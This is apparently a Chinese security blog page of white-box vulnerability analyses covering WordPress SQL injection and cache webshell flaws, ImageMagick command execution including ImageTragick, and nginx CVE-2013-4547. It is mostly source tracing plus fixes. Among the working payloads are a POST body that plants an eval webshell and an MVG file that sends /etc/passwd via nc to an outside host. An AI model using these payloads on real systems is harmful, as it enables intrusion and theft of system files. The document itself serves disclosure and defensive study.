分类 白盒测试 下的文章

WordPress <= 1.5.1.1-(wp-includes/functions.php:555)注入

WordPress <= 1.5.1.1 - SQL注入分析

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 1.5.1.1

  • 严重程度:高危

简要

在Wordpress调用模版时候,其功能之一是在右侧显示当前存档的类型,进行对应类型查询的时候没有使用干净的参数导致注入

正文

首先将断点下在问题点追寻处理流程

如下:
C3110BB5-4E9D-45E1-B40E-3A3E031C4AD2.png

这是最后参数被污染之后所处的位置

546EC9F9-E58D-453F-846F-3BDF73FC1D9E.png

为了理解wordpress的漏洞就要研究wordpress的整个处理流程.

我们可以看到#8中的代码

index.php

<?php 
/* Short and sweet */
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');
?>

很简单的两行代码

Short and sweet:grinning:

包含了wp-blog-header.php

wp-blog-header.php主要进行了一些配置文件的初始化,以及对 GET传入的参数进行了构建。

构建好参数之后经过处理,应用到对应的模板上面.

构建参数在主要是如下代码

// Call query posts to do the work.

    $posts = &query_posts($query_string);

query_posts()函数的函数原型,如下:

function &query_posts($query) {
    global $wp_query;
    return $wp_query->query($query);
}

query_posts申明了一个$wp_query的全局变量,这是很重要的一个全局变量.

query()函数原型,如下:

    function &query($query) {
        $this->parse_query($query);
        return $this->get_posts();
    }

query函数做了对参数的解析赋值,之后return调用了一个get_posts()函数这个函数做了很多拼接并进行数据库查询语句的动作.

我还发现了,在#4中的load_template()

function load_template($file) {
    global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query,
        $wp_rewrite, $wpdb;

    extract($wp_query->query_vars);

    require_once($file);
}

这里的extract($wp_query->query_vars);貌似是一段废代码,因为$wp_query->query_varsNULL,extract()接受的参数是array.

#29E14F734-4D79-4D7F-A356-9F4FFA32B805.png

这个函数从$wp_query中取出了cat参数被污染的值,并且最终传入了functions.php中的get_category()拼接的语句中执行了注入的语句.

D651BF01-6F92-4489-9443-F775DBF723C0.png

WordPress <= 2.0.2 - (cache) 代码注入分析

WordPress <= 2.0.2 - (cache) Remote Shell Injection Exploit

  • 影响条件:

  • 程序:WordPress

  • 版本:<= 2.0.2

  • 严重程度:高危

简要

这个漏洞问题出在WordPress生成的序列化后的缓存文件中.因为缓存文件的后缀为php,文件的内容可控,并且文件名在一定条件下可预见,所以在一定条件下可以getshell

正文

首先下断点在生成问题文件的地方

程序流程图

59B30757-C04B-4CA4-A53C-4DAC4A949B7F.png

出问题的是
wp-includes/cache.php
文件中的save()函数

save()函数序列化了用户的资料之后再保存到
wp-content/cache/userlogins,wp-content/cache/users这两个目录底下,因为序列化后的文件的后缀是.php所以只要想办法插入我们的恶意代码并且让PHP-cgi执行就好了.

                $cache_file = $group_dir . md5($id . DB_PASSWORD) . '.php';
                // Remove the cache file if the key is not set.
                if (!isset ($this->cache[$group][$id])) {
                    if (file_exists($cache_file))
                        @ unlink($cache_file);
                    continue;
                }

save()函数中生成的缓存文件名方法是md5($id . DB_PASSWORD).所以我们需要知道$id与DB_PASSWORD.

$id的其中一个值就是管理员的帐号,一般都有一个帐号叫做admin.所以md5('admin'.'数据库密码')就是包涵恶意代码的文件名.

因为写入的文件内容由//开头

9BF92DB3-5D7C-4107-819D-FCAF6F58AC1A.png

如果不输入一个换行符的话,会被始终认为其后的内容是注释,所以需要加入回车符号,经过url编码后的回车符号是%0D并且需要在后面再加上//防止后面序列化的字符被程序认为是我们想要执行的代码,所以最终的payload就是

//%0D@eval($_POST['c']);%0D//

这个漏洞的利用条件是:

  1. 文件夹有写入权限

  2. cache功能打开

  3. 知道用户的ID与数据库密码(可能为空)

发送以下完整payload,就可以在wp-content/cache/userlogins或者wp-content/cache/users/中getshell了

from=profile&checkuser_id=1&user_login=admin&first_name=123&last_name=&nickname=test&display_name=//%0D @eval($_POST['c']);%0D//&email=admin@example.com&url=http%3A%2F%2F&aim=&yim=&jabber=&description=&pass1=&pass2=&rich_editing=true&submit=Update+Profile+%C2%BB

修复方案:
1.将生成的文件命名为不可执行后缀例如.txt

ImageMagick另一个命令执行--popen_utf8()函数

心情杂谈

哎哎哎,老司机一言不合就爆洞啊,这个洞在之前分析CVE-2016-3714的时候也发现了,结果被捂烂了...心塞塞~那我就写一下当时是怎么发现怎么这个洞...

漏洞分析正文

之前在分析CVE-2016-3714的时候想,system()函数处理有问题,那么其他类似的有哪些函数呢?

下面是一个可以执行命令的函数列表:

system()

popen()

fork()+exec()

execl()

那么搜索一下调用system()函数有哪些地方?经过搜索的话,最终只有CVE-2016-3714这个漏洞点调用到了一个system(). 那这么接下来搜索一下popen()函数调用点

文件:magick/blob.c:2503行

#if defined(SIGPIPE)
      if (*type == 'w')
        (void) signal(SIGPIPE,SIG_IGN);
#endif
      *mode=(*type);
      mode[1]='\0';
      image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
      if (image->blob->file_info.file == (FILE *) NULL)
        {
          ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
          return(MagickFalse);
        }
      image->blob->type=PipeStream;
      image->blob->exempt=MagickTrue;
            return(SetStreamBuffering(image_info,image));
    }

我们可以看到有一个popen_utf8()函数.

跟进函数文件:magick/utility-private.h:173行

static inline FILE *popen_utf8(const char *command,const char *type)
{
#if !defined(MAGICKCORE_WINDOWS_SUPPORT) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__MINGW64__)
  return(popen(command,type));
#else
   FILE
     *file;

   wchar_t
     *type_wide,
     *command_wide;

   command_wide=create_wchar_path(command);
   if (command_wide == (wchar_t *) NULL)
     return((FILE *) NULL);
   type_wide=create_wchar_path(type);
   if (type_wide == (wchar_t *) NULL)
     {
       command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
       return((FILE *) NULL);
     }
   file=_wpopen(command_wide,type_wide);
   type_wide=(wchar_t *) RelinquishMagickMemory(type_wide);
   command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
   return(file);
#endif
}

可以看见popen_utf8()直接return了popen()函数的值回来.

那么问题来了,谁调用了popen_utf8呢?

向上追溯代码可以看到是OpenBlob()函数调用了popen_utf8.继续查看谁调用了OpenBlob()

8248DCA8-27B0-46A0-A5EE-25C3EA3BB8FF.png
我们可以看到一堆地方调用到了OpenBlob(),看到一个眼熟的地方!

使用GDB反调会让眼熟的地方明显一点

5B98ABC0-8703-43CC-A6C4-53B19D9BBD8F.png
可以看到流程中有constitute.c调用到OpenBlob().而之前分析的时候也经常看constitute.c,很明显会选择先看这个地方的调用有没有问题.

constitute.c:448行

可以看到status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

status在imagemagick里面一般都是用MagickTrue或者MagickFalse作为最终的函数返回值的,知道这点就好了.

OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

在这个函数中image_info,image两个参数的值都是由我们传进去的.

OpenBlob函数先进行了Policy的检测

if (*type == 'w')
    rights=WritePolicyRights;
  if (IsRightsAuthorized(PathPolicyDomain,rights,filename) == MagickFalse)
    {
      errno=EPERM;
      (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
        "NotAuthorized","`%s'",filename);
      return(MagickFalse);
    }

最重要的一段在如下代码

if (*filename == '|')
   {
     char
       mode[MaxTextExtent];

     /*
       Pipe image to or from a system command.
     */
#if defined(SIGPIPE)
     if (*type == 'w')
       (void) signal(SIGPIPE,SIG_IGN);
#endif
     *mode=(*type);
     mode[1]='\0';
     image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);
     if (image->blob->file_info.file == (FILE *) NULL)
       {
         ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
         return(MagickFalse);
       }

因为*filename指向指针的第一个字符,如果第一个字符是|那么就调用popen_utf8()去打开文件.

所以我们要控制的就是|后面的字符.如果我们想要控制这里的filename就意味着我们需要传入的文件的名称|+你要执行的命令

经过测试这个是可以的,这个地方可以命令执行,但是万一要是上传的文件名字有限制|这个符号不让作为文件名的名字的话,那就挺别扭的.而且windows底下应该是不能用|作为文件的名字的,所以还是把payload写在文件里面比较好.

通过对imagemagick源码的浏览,并且查询imagemagick的官方文档.

官方文档

可以发现mvg有很多需要操作文件mvg内文件的原语,这些地方都是会调用到OpenBlob()

例如以下操作:

D51CD2F4-9C55-48D5-B28D-5B1551B4C4E8.png

29336A5F-27D6-442F-86CF-C49C720A1AF9.png

C973A35E-D2D6-43AA-A6DF-D43D0F8FEB3B.png

F4958AC8-5D13-49B2-99E8-61175C9BFDCE.png

638AF5AD-254B-47F4-A61C-4FAE898046F7.png

Poc使用image over这个原语.

那么Poc就出来了

1.mvg文件中

push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 '|cat /etc/passwd|nc lonelyrain.me 9999'
pop graphic-context

然后attack的服务器运行nc -l 0.0.0.0 9999 > passwd

这个漏洞有兴趣的同学可以去再找一下其它玩法...

Imagetragick(CVE-2016-3714)执行过程,漏洞分析以及修复方案

什么是ImageMagick

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

漏洞分析正文

这次披露的是ImageMagick的一个命令执行漏洞。首先定位到最终漏洞代码执行的地方,老外给出的poc是在一个文件内填充以下字符命名为.mvg格式

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"ls "-la)'
pop graphic-context

我以POC为一个切入点,分析POC的执行过程。

imagetragic_2.png
首先从入口函数CovertMain()开始,在第81行MagickCommandGenesis()的第二个参数传入了ConvertImageCommand这个变量,这个变量是一个函数指针,指向了ConvertImageCommand()的函数首地址。所以MagickCommandGenesis()实现了函数的动态调用(非常好的写法)。

文件:wand/delegate.c:417行

imagetragic_3.png
的函数ExternalDelegateCommand()中调用了system()函数,执行了我们注入的命令。

整个执行流程是

ConvertMain() -> MagickCommandGenesis() -> ConvertImageCommand() -> ReadImages() -> ReadImage() -> ReadMVGImage() -> DrawImage() ->ReadImage() -> InvokeDelegate() -> system()

ConvertImageCommand() -> ReadImages() -> ReadImage()这一段主要做了读取判断文件名类型,根据文件类型调用相应的decoder,而调用decoder的方式使用的是delegate模式。

在coders/mvg.c:67行中

有一个IsMVG()函数

if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)
    return(MagickTrue);

这一段读取了文件前20个字符,判断是否是一个MVG格式的图片,

viewbox 0 0 640 480主要由文件:coders/mvg.c:170-204处理。

处理fill字段就是出问题的地方, 当mvg文件有fill字段代表需要填充外部的图片进当前的图片,pattern_info->filename就是从`fill`中解析出来的填充文件的字符串

imagetragic_4.png
magick/delegate.c

中的InvokeDelegate()进行了调用了ExternalDelegateCommand()执行外部命令。

[题外话:可以看出来这个功能使用了delegate代理模式(对方法的封装)]

在调用前实际上是对当前种类的请求方法,相应的权限进行了判断

if (IsRightsAuthorized(domain,rights,read_info->magick) == MagickFalse)
  {
    errno=EPERM;
    (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
      "NotAuthorized","`%s'",read_info->filename);
    read_info=DestroyImageInfo(read_info);
    return((Image *) NULL);
  }

并不是像网上说的这个程序一点安全都没有做

并且在delegate.c中也有对权限的检测。

if (IsRightsAuthorized(DelegatePolicyDomain,rights,encode) == MagickFalse)
  {
    errno=EPERM;
    (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
      "NotAuthorized","`%s'",encode);
    return(MagickFalse);
  }

并且在delegate.c中定义了合法字符的白名单,问题有一部分出在白名单这。

static char
  whitelist[] =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_- "
    ".@&;<>()|/\\\'\":%=~`";
...
for (p+=strspn(p,whitelist); p != q; p+=strspn(p,whitelist))
  *p='_';
return(sanitize_command);

我们可以看到不在白名单中的字符全部会被替换成_,但是官方却把|;放在了白名单中,导致了可以执行多个命令.......

所以,经过以上的流程分析,可以有两种修复方法:

1.设置Policy文件

policy.xml

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

来自imagetragick.com

2.如果不需要一些不常用的delegate里面的功能只保留https这个功能的话,去掉whitelist[] 里面的管道符号|,还有;号等特殊符号

可以看到去掉白名单里面的;|之后,命令执行已经不成功了:/

相应的,想要发掘对应的delegate可以有什么样的利用,可以去执行具以下具体的委托

<delegatemap>
  <delegate decode="autotrace" stealth="True" command="&quot;convert&quot; &quot;%i&quot; &quot;pnm:%u&quot;\n&quot;autotrace&quot; -input-format pnm -output-format svg -output-file &quot;%o&quot; &quot;%u&quot;"/>
  <delegate decode="blender" command="&quot;blender&quot; -b &quot;%i&quot; -F PNG -o &quot;%o&quot;&quot;\n&quot;convert&quot; -concatenate &quot;%o*.png&quot; &quot;%o&quot;"/>
  <delegate decode="browse" stealth="True" spawn="True" command="&quot;xdg-open&quot; http://www.imagemagick.org/; rm &quot;%i&quot;"/>
  <delegate decode="cdr" command="&quot;uniconvertor&quot; &quot;%i&quot; &quot;%o.svg&quot;; mv &quot;%o.svg&quot; &quot;%o&quot;"/>
  <delegate decode="cgm" thread-support="False" command="&quot;ralcgm&quot; -d ps -oC &lt; &quot;%i&quot; &gt; &quot;%o&quot; 2&gt; &quot;%Z&quot;"/>
  <delegate decode="dvi" command="&quot;dvips&quot; -q -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="dng:decode" command="&quot;ufraw-batch&quot; --silent --create-id=also --out-type=png --out-depth=16 &quot;--output=%u.png&quot; &quot;%i&quot;"/>
  <delegate decode="dot" command='&quot;dot&quot; -Tsvg &quot;%i&quot; -o &quot;%o&quot;' />
  <delegate decode="edit" stealth="True" command="&quot;/etc/alternatives/x-terminal-emulator&quot; -title &quot;Edit Image Comment&quot; -e vi &quot;%o&quot;"/>
  <delegate decode="eps" encode="pdf" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 &quot;-sDEVICE=pdfwrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="eps" encode="ps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=nodevice&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="fig" command="&quot;fig2dev&quot; -L ps &quot;%i&quot; &quot;%o&quot;"/>
  <delegate decode="plt" command="&quot;echo&quot; &quot;set size 1.25,0.62; set terminal postscript portrait color solid; set output \'%o\'; load \'%i\'&quot; &gt; &quot;%u&quot;;&quot;gnuplot&quot; &quot;%u&quot;"/>
  <delegate decode="hpg" command="&quot;hp2xx&quot; -q -m eps -f `basename &quot;%o&quot;` &quot;%i&quot;;     mv -f `basename &quot;%o&quot;` &quot;%o&quot;"/>
  <delegate decode="hpgl" command="if [ -e hp2xx -o -e /usr/bin/hp2xx ]; then     hp2xx -q -m eps -f `basename &quot;%o&quot;` &quot;%i&quot;;     mv -f `basename &quot;%o&quot;` &quot;%o&quot;;   else     echo &quot;You need to install hp2xx to use HPGL files with ImageMagick.&quot;;     exit 1;   fi"/>
  <delegate decode="htm" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="html" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>
  <delegate decode="ilbm" command="&quot;ilbmtoppm&quot; &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="man" command="&quot;groff&quot; -man -Tps &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="mpeg:decode" command="&quot;ffmpeg&quot; -v -1 -i &quot;%i&quot; -vframes %S -vcodec pam -an -f rawvideo -y &quot;%u.pam&quot; 2&gt; &quot;%Z&quot;"/>
  <delegate encode="mpeg:encode" stealth="True" command="&quot;ffmpeg&quot; -v -1 -mbd rd -trellis 2 -cmp 2 -subcmp 2 -g 300 -i &quot;%M%%d.jpg&quot; &quot;%u.%m&quot; 2&gt; &quot;%Z&quot;"/>
  <delegate decode="sid" command="&quot;mrsidgeodecode&quot; -if sid -i &quot;%i&quot; -of tif -o &quot;%o&quot; &gt; &quot;%u&quot;"/>
  <delegate decode="pcl:color" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=ppmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="pcl:cmyk" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pamcmyk32&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="pcl:mono" stealth="True" command="&quot;pcl6&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="pdf" encode="eps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=epswrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="pdf" encode="ps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=nodevice&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="tiff" encode="launch" mode="encode" command="&quot;gimp&quot; &quot;%i&quot;"/>
  <delegate decode="pnm" encode="ilbm" mode="encode" command="&quot;ppmtoilbm&quot; -24if &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="pov" command="&quot;povray&quot; &quot;+i%i&quot; -D0 &quot;+o%o&quot; +fn%q +w%w +h%h +a -q9 &quot;-kfi%s&quot; &quot;-kff%n&quot;;&quot;convert&quot; -concatenate &quot;%o*.png&quot; &quot;%o&quot;"/>
  <delegate decode="ps" encode="eps" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=epswrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="ps" encode="pdf" mode="bi" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pdfwrite&quot; &quot;-sOutputFile=%o&quot; &quot;-f%i&quot;"/>
  <delegate decode="ps" encode="print" mode="encode" command="lpr &quot;%i&quot;"/>
  <delegate decode="ps:alpha" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pngalpha&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="ps:cmyk" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pam&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="ps:color" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pnmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="ps:mono" stealth="True" command="&quot;gs&quot; -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;-f%s&quot; &quot;-f%s&quot;"/>
  <delegate decode="rgba" encode="rle" mode="encode" command="&quot;rawtorle&quot; -o &quot;%o&quot; -v &quot;%i&quot;"/>
  <delegate decode="scan" command="&quot;scanimage&quot; -d &quot;%i&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="scanx" command="&quot;scanimage&quot; &gt; &quot;%o&quot;"/>
  <delegate decode="miff" encode="show" spawn="True" command="&quot;/usr/bin/display&quot; -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>
  <delegate decode="shtml" command="&quot;html2ps&quot; -U -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="svg" command="&quot;rsvg-convert&quot; -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="txt" encode="ps" mode="bi" command="&quot;enscript&quot; -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="miff" encode="win" stealth="True" spawn="True" command="&quot;/usr/bin/display&quot; -immutable -delay 0 -window-group %[group] -title &quot;%l &quot; &quot;ephemeral:%i&quot;"/>
  <delegate decode="wmf" command="&quot;wmf2eps&quot; -o &quot;%o&quot; &quot;%i&quot;"/>
  <delegate decode="xps:color" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=ppmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="xps:cmyk" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=bmpsep8&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
  <delegate decode="xps:mono" stealth="True" command="&quot;gxps&quot; -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 &quot;-sDEVICE=pbmraw&quot; -dTextAlphaBits=%u -dGraphicsAlphaBits=%u &quot;-r%s&quot; %s &quot;-sOutputFile=%s&quot; &quot;%s&quot;"/>
</delegatemap>

B487FA86-DEA2-4A3F-9AA3-E2AA9A2D1170.png
Reference:

囧囧有神的博客

CVE-2013-4547 Nginx HTTP Parse 解析漏洞分析顺带学习nginx处理流程

CVE-2013-4547是Nginx出现过的一个解析漏洞,

官方的补丁打在了_ngx_http_parse.c_上

    --- src/http/ngx_http_parse.c
    +++ src/http/ngx_http_parse.c
    @@ -617,6 +617,7 @@ ngx_http_parse_request_line(ngx_http_req
                 default:
                     r->space_in_uri = 1;
                     state = sw_check_uri;
    +                p--;
                     break;
                 }
                 break;
    @@ -670,6 +671,7 @@ ngx_http_parse_request_line(ngx_http_req
                 default:
                     r->space_in_uri = 1;
                     state = sw_uri;
    +                p--;
                     break;
                 }
                 break;

使用gdb调试nginx,将断点下在/nginx-1.5.6/src/http/ngx_http_parse.cngx_http_parse_request_line上,

发送了测试payload

GET /a.jpg /0.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

/a.jpg /0.php中的空格是hex 00,非真正的空格

传入的http请求只接收到了/a.jpg

ngx_http_parse_request_line传入了两个ngx_http_request_t类和ngx_buf_t类的指针,ngx_http_request_t在以下文件中定义了一个别名

文件: /src/http/ngx_http_request.h

typedef struct ngx_http_request_s     ngx_http_request_t;

ngx_http_request_s的结构成员

struct ngx_http_request_s {
    uint32_t                          signature;         /* "HTTP" */

    ngx_connection_t                 *connection;

    void                            **ctx;
    void                            **main_conf;
    void                            **srv_conf;
    void                            **loc_conf;

    ngx_http_event_handler_pt         read_event_handler;
    ngx_http_event_handler_pt         write_event_handler;

#if (NGX_HTTP_CACHE)
    ngx_http_cache_t                 *cache;
#endif

    ngx_http_upstream_t              *upstream;
    ngx_array_t                      *upstream_states;
                                         /* of ngx_http_upstream_state_t */

    ngx_pool_t                       *pool;
    ngx_buf_t                        *header_in;

    ngx_http_headers_in_t             headers_in;
    ngx_http_headers_out_t            headers_out;

    ngx_http_request_body_t          *request_body;

    time_t                            lingering_time;
    time_t                            start_sec;
    ngx_msec_t                        start_msec;

    ngx_uint_t                        method;
    ngx_uint_t                        http_version;

    ngx_str_t                         request_line;
    ngx_str_t                         uri;
    ngx_str_t                         args;
    ngx_str_t                         exten;
    ngx_str_t                         unparsed_uri;

    ngx_str_t                         method_name;
    ngx_str_t                         http_protocol;

    ngx_chain_t                      *out;
    ngx_http_request_t               *main;
    ngx_http_request_t               *parent;
    ngx_http_postponed_request_t     *postponed;
    ngx_http_post_subrequest_t       *post_subrequest;
    ngx_http_posted_request_t        *posted_requests;

    ngx_int_t                         phase_handler;
    ngx_http_handler_pt               content_handler;
    ngx_uint_t                        access_code;

    ngx_http_variable_value_t        *variables;

#if (NGX_PCRE)
    ngx_uint_t                        ncaptures;
    int                              *captures;
    u_char                           *captures_data;
#endif

    size_t                            limit_rate;
    size_t                            limit_rate_after;

    /* used to learn the Apache compatible response length without a header */
    size_t                            header_size;

    off_t                             request_length;

    ngx_uint_t                        err_status;

    ngx_http_connection_t            *http_connection;
#if (NGX_HTTP_SPDY)
    ngx_http_spdy_stream_t           *spdy_stream;
#endif

    ngx_http_log_handler_pt           log_handler;

    ngx_http_cleanup_t               *cleanup;

    unsigned                          subrequests:8;
    unsigned                          count:8;
    unsigned                          blocked:8;

    unsigned                          aio:1;

    unsigned                          http_state:4;

    /* URI with "/." and on Win32 with "//" */
    unsigned                          complex_uri:1;

    /* URI with "%" */
    unsigned                          quoted_uri:1;

    /* URI with "+" */
    unsigned                          plus_in_uri:1;

    /* URI with " " */
    unsigned                          space_in_uri:1;

    unsigned                          invalid_header:1;

    unsigned                          add_uri_to_alias:1;
    unsigned                          valid_location:1;
    unsigned                          valid_unparsed_uri:1;
    unsigned                          uri_changed:1;
    unsigned                          uri_changes:4;

    unsigned                          request_body_in_single_buf:1;
    unsigned                          request_body_in_file_only:1;
    unsigned                          request_body_in_persistent_file:1;
    unsigned                          request_body_in_clean_file:1;
    unsigned                          request_body_file_group_access:1;
    unsigned                          request_body_file_log_level:3;

    unsigned                          subrequest_in_memory:1;
    unsigned                          waited:1;

#if (NGX_HTTP_CACHE)
    unsigned                          cached:1;
#endif

#if (NGX_HTTP_GZIP)
    unsigned                          gzip_tested:1;
    unsigned                          gzip_ok:1;
    unsigned                          gzip_vary:1;
#endif

    unsigned                          proxy:1;
    unsigned                          bypass_cache:1;
    unsigned                          no_cache:1;

    /*
     * instead of using the request context data in
     * ngx_http_limit_conn_module and ngx_http_limit_req_module
     * we use the single bits in the request structure
     */
    unsigned                          limit_conn_set:1;
    unsigned                          limit_req_set:1;

#if 0
    unsigned                          cacheable:1;
#endif

    unsigned                          pipeline:1;
    unsigned                          chunked:1;
    unsigned                          header_only:1;
    unsigned                          keepalive:1;
    unsigned                          lingering_close:1;
    unsigned                          discard_body:1;
    unsigned                          internal:1;
    unsigned                          error_page:1;
    unsigned                          ignore_content_encoding:1;
    unsigned                          filter_finalize:1;
    unsigned                          post_action:1;
    unsigned                          request_complete:1;
    unsigned                          request_output:1;
    unsigned                          header_sent:1;
    unsigned                          expect_tested:1;
    unsigned                          root_tested:1;
    unsigned                          done:1;
    unsigned                          logged:1;

    unsigned                          buffered:4;

    unsigned                          main_filter_need_in_memory:1;
    unsigned                          filter_need_in_memory:1;
    unsigned                          filter_need_temporary:1;
    unsigned                          allow_ranges:1;

#if (NGX_STAT_STUB)
    unsigned                          stat_reading:1;
    unsigned                          stat_writing:1;
#endif

